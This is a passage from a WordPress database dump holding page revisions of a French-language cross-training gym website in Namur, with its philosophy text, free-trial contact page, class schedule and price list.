vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:38', '2013-07-04 19:17:38', '', 5, 'http://www.crosstrainingcenter.be/5-revision-56/', 0, 'revision', '', 0),
(311, 1, '2013-07-04 19:17:51', '2013-07-04 19:17:51', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'un entrainement physique, le cross training center de Namur vous permet de blablabla&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:17:51', '2013-07-04 19:17:51', '', 5, 'http://www.crosstrainingcenter.be/5-revision-57/', 0, 'revision', '', 0),
(312, 1, '2013-07-04 19:21:55', '2013-07-04 19:21:55', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:21:55', '2013-07-04 19:21:55', '', 5, 'http://www.crosstrainingcenter.be/5-revision-58/', 0, 'revision', '', 0),
(313, 1, '2013-07-04 19:24:32', '2013-07-04 19:24:32', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:24:32', '2013-07-04 19:24:32', '', 5, 'http://www.crosstrainingcenter.be/5-revision-59/', 0, 'revision', '', 0),
(314, 1, '2013-07-04 19:25:05', '2013-07-04 19:25:05', '&lt;blockquote&gt;\r\n&lt;h2&gt;Bien plus qu\'une simple activité physique, le cross training center de Namur vous propose une approche unique faisant intervenir l\'alimentation et la gestion du stress, tout en vous proposant un entraînement de qualité.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-102\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x77.png\&quot; width=\&quot;300\&quot; height=\&quot;77\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Assurer un entraînement de qualité :&lt;/h1&gt;\r\nSelon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle : récupérer, prévenir et améliorer. En privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis, la qualité de l\'entraînement sera assurée.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; width: 320px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-103\&quot; alt=\&quot;picto2\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/picto2-291x300.png\&quot; width=\&quot;291\&quot; height=\&quot;300\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Une approche globale&lt;/h1&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p style=\&quot;text-align: center;\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-07-04 19:25:05', '2013-07-04 19:25:05', '', 5, 'http://www.crosstrainingcenter.be/5-revision-60/', 0, 'revision', '', 0),
(315, 1, '2013-07-03 20:48:33', '2013-07-03 20:48:33', '&lt;h1&gt;Une séance gratuite?&lt;/h1&gt;\r\nEnvie de découvrir les bienfaits du cross training?\r\nNous vous offrons gratuitement une première séance.\r\nRemplissez le formulaire ci-dessous et nous vous recontacterons pour planifier, avec vous, votre première séance. \r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-03 20:48:33', '2013-07-03 20:48:33', '', 266, 'http://www.crosstrainingcenter.be/266-revision-5/', 0, 'revision', '', 0),
(316, 1, '2013-07-04 19:33:16', '2013-07-04 19:33:16', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n&lt;h1&gt;[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]&lt;/h1&gt;', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-07-04 19:33:16', '2013-07-04 19:33:16', '', 266, 'http://www.crosstrainingcenter.be/266-revision-6/', 0, 'revision', '', 0),
(319, 1, '2013-07-04 19:38:42', '2013-07-04 19:38:42', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-04 19:38:42', '2013-07-04 19:38:42', '', 11, 'http://www.crosstrainingcenter.be/11-revision-106/', 0, 'revision', '', 0),
(320, 1, '2013-07-04 19:39:35', '2013-07-04 19:39:35', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Chaque séance est composée de 4 phases décrite dans le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td 